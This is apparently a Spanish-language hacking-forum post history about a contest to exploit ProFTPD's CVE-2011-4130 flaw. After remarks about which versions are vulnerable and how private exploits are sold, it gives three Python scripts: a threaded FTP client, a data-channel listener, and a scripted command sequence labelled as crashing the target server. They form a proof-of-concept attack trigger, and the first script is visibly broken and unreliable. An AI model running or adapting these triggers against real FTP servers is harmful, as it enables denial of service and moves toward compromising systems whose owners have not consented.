Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Cita de: juan196518 en 4 Mayo 2012, 01:42 AM
Creo que con Shadow Security Scan se pueden ver las Vulnerabilidades de un server
Cita de: m0rf en 3 Mayo 2012, 19:46 PM
Evidentemente es indiferente ya que es una cosa organizada y legal.
Bueno, a lo que iba.
CVE-2011-4130, es vulnerable hasta la 1.3.3g diria
Si hacéis el exploit para este bug podreis compromenter todos los proftpd excepto los 1.3.4 y el 1.3.3g. Este es el c.
Pues nada yo tengo el server 1.3.3c bajado que le estuve echando un ojo. Lo probare con ubuntu 10.04 lts ya que dimitrix se ha tomado la molestia de comentarlo.
Lo comento porque la naturaleza del concurso es ir poniendo el desarrollo o en que estamos trabajando.
Realmente el exploit si que existe pero es de pago o solo para organizaciones que se dedican a la seguridad o gobiernos.
Bueno ya os comento si avanzo.
Saludos.
#!/usr/bin/env python
import threading
from ftplib import FTP
ftpIP=''
ftpUser=''
ftpPass=''
ftpFilename=''
i=0
class ThreadC ( threading.Thread ) :
def run (self):
ftp = FTP(ftpIP)
ftp.getwelcome()
ftp.login(ftpUser,ftpPass)
ftp.retrbinary('RETR ' + ftpFilename)
i=1
class ThreadF ( threading.Thread ) :
def run (self):
ftp.sendcmd('WXZY *Xenomorfo77/')
ThreadC.start()
if i == 1:
ThreadF.start()
#!/usr/bin/env python
# Parameters
ftpClient = "192.168.1.11"
ftpClientPort = "1025"
import socket
import time
# Open a socket to receive data
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((ftpClient,int(ftpClientPort)))
s.listen(5)
client, address = s.accept()
print client.recv(2)
time.sleep(5)
print client.recv(1024)
client.close()
#!/usr/bin/env python
# Parameters
ftpServer = "192.168.1.10"
ftpServerPort = 21
ftpUsername = "user"
ftpPassword = "password"
ftpClient = "192.168.1.11"
ftpClientPort = "1025"
# Commands to trigger the segmentation fault.
ftpCommands = """USER %s
PASS %s
SYST
TYPE A
PORT %s,%s
RETR nada
WXYZ 0wn3d
QUIT
""" % (ftpUsername, ftpPassword, ftpClient.replace('.',','), "%s,%s"%(("%04x"%int(ftpClientPort))[0:2],("%04x"%int(ftpClientPort))[2:4]))
import socket
# Open commands socket
sc = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sc.connect((ftpServer,ftpServerPort))
# Will send FTP commands.
for command in ftpCommands.split('\n'):
print sc.recv(1024),
sc.send(command+'\r\n')
print command